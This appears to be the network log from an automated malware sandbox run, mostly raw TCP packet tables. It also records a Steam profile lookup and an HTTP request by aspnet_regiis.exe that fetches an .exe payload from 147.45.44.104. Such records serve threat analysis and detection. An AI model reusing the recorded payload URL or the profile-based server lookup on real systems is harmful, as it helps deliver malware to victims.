Oct 3, 2024 03:36:19.252435923 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.252485037 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.252521992 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.252547979 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.252572060 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.252614021 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.264131069 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.264174938 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.264266968 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.264280081 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.264338017 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.276607990 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.276652098 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.276807070 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.276823997 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.276952982 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.285731077 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.285773993 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.285839081 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.285851002 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.285881042 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.285901070 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.296941042 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.296986103 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.297050953 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.297063112 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.297101974 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.297122002 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.310995102 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.311039925 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.311249971 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.311249971 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.311285973 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.311404943 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.311964035 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.311985970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.312050104 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.312056065 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.312083006 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.312098980 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.320928097 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.320945024 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.321037054 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.321043968 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.321084976 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.339006901 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.339021921 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.339106083 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.339122057 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.339165926 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.350910902 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.350935936 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.351027966 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.351039886 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.351080894 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.363341093 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.363357067 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.363451004 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.363459110 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.363501072 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.372534037 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.372558117 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.372714996 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.372751951 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.372801065 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.383730888 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.383752108 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.383908033 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.383923054 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.383977890 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.397913933 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.397933006 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.398025990 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.398039103 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.398094893 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.398646116 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.398663998 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.398749113 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.398761988 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.398817062 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.408077955 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.408092976 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.408250093 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.408257008 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.408303976 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.425776005 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.425793886 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.425955057 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.425971031 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.426054955 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.437850952 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.437868118 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.438152075 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.438165903 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.438298941 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.455559969 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.455575943 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.455887079 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.455903053 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.455981016 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.465925932 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.465943098 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.466123104 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.466146946 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.466228008 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.473042011 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.473056078 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.473198891 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.473212957 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.473293066 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.484735012 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.484747887 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.484889030 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.484903097 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.484975100 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.494110107 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.494124889 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.494297028 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.494309902 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.494391918 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.498523951 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.498537064 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.498681068 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.498693943 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.498768091 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.517508984 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.517529964 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.517843008 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.517884016 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.517939091 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.531948090 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.531961918 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.532054901 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.532062054 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.532219887 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.542205095 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.542217970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.542370081 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.542402983 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.542578936 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.552666903 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.552680969 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.552826881 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.552843094 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.553011894 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.559787989 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.559802055 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.559940100 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.559953928 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.560169935 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.571491957 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.571508884 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.571604013 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.571630001 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.571686983 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.581173897 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.581190109 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.581435919 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.581449986 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.581538916 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.585320950 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.585335970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.585503101 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.585515976 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.585607052 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.604284048 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.604314089 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.604444981 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.604453087 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.604497910 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.615462065 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.615544081 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.615592003 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.615595102 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.615653038 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.616485119 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.616503954 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.191015005 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.191065073 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.191138983 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.191371918 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.191391945 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.837703943 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.838687897 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.863629103 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.863662004 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.865086079 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.865106106 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:20.865135908 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:20.865153074 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:21.475578070 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.475658894 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:21.475754023 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.476023912 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.476052999 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:21.700383902 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:21.700445890 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.700452089 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:21.700495958 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.701292038 CEST	49739	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:21.701308966 CEST	443	49739	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.145998955 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.146205902 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.146548033 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.146576881 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.148216009 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.148228884 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.848426104 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.848449945 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.848519087 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.848515034 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.848515034 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.848582029 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.848720074 CEST	49740	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.848754883 CEST	443	49740	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.850877047 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.850919008 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:22.850986958 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.851145983 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:22.851161003 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:23.489511013 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:23.489607096 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:23.669672012 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:23.669694901 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:23.671262980 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:23.671268940 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.341264009 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.341295958 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.341373920 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.341449022 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.341507912 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.341852903 CEST	49741	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.341869116 CEST	443	49741	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.365010023 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.365102053 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:24.365179062 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.365403891 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:24.365437031 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.031275988 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.031403065 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.031825066 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.031836033 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.033519983 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.033525944 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.736449957 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.736530066 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:25.736572981 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.736610889 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.737541914 CEST	49743	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:25.737560987 CEST	443	49743	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:26.436460018 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:26.436506033 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:26.436587095 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:26.436815023 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:26.436827898 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.088272095 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.088335037 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.088792086 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.088802099 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090528011 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090533972 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090615988 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090639114 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090643883 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090647936 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090714931 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090739965 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090847969 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090872049 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:27.090924025 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:27.090941906 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.294750929 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.294817924 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.294887066 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.295104980 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.295403004 CEST	49744	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.295422077 CEST	443	49744	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.339123964 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.339159012 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.339304924 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.339535952 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.339546919 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.988395929 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.988557100 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.988972902 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.988986015 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:28.990804911 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:28.990814924 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:29.759342909 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:29.759426117 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:29.759475946 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:29.759500980 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:29.759757996 CEST	49745	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:29.759773016 CEST	443	49745	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:29.762850046 CEST	49746	80	192.168.2.6	147.45.44.104
Oct 3, 2024 03:36:29.767707109 CEST	80	49746	147.45.44.104	192.168.2.6
Oct 3, 2024 03:36:29.767805099 CEST	49746	80	192.168.2.6	147.45.44.104
Oct 3, 2024 03:36:29.767966032 CEST	49746	80	192.168.2.6	147.45.44.104
Oct 3, 2024 03:36:29.772747993 CEST	80	49746	147.45.44.104	192.168.2.6
Oct 3, 2024 03:36:30.410010099 CEST	80	49746	147.45.44.104	192.168.2.6
Oct 3, 2024 03:36:30.410109997 CEST	49746	80	192.168.2.6	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 03:35:51.415795088 CEST	65488	53	192.168.2.6	1.1.1.1
Oct 3, 2024 03:35:51.434575081 CEST	53	65488	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 03:35:51.415795088 CEST	192.168.2.6	1.1.1.1	0x174e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 03:35:51.434575081 CEST	1.1.1.1	192.168.2.6	0x174e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

49.12.197.9

147.45.44.104

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49746	147.45.44.104	80	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:36:29.767966032 CEST	183	OUT	GET /ldms/a43486128347.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 3, 2024 03:36:30.410010099 CEST	314	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:30 GMT Content-Type: application/octet-stream Content-Length: 13 Last-Modified: Thu, 03 Oct 2024 01:25:21 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fdf281-d" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 55 6e 6b 6e 6f 77 6e 20 65 72 72 6f 72 Data Ascii: Unknown error

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	104.102.49.254	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:52 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
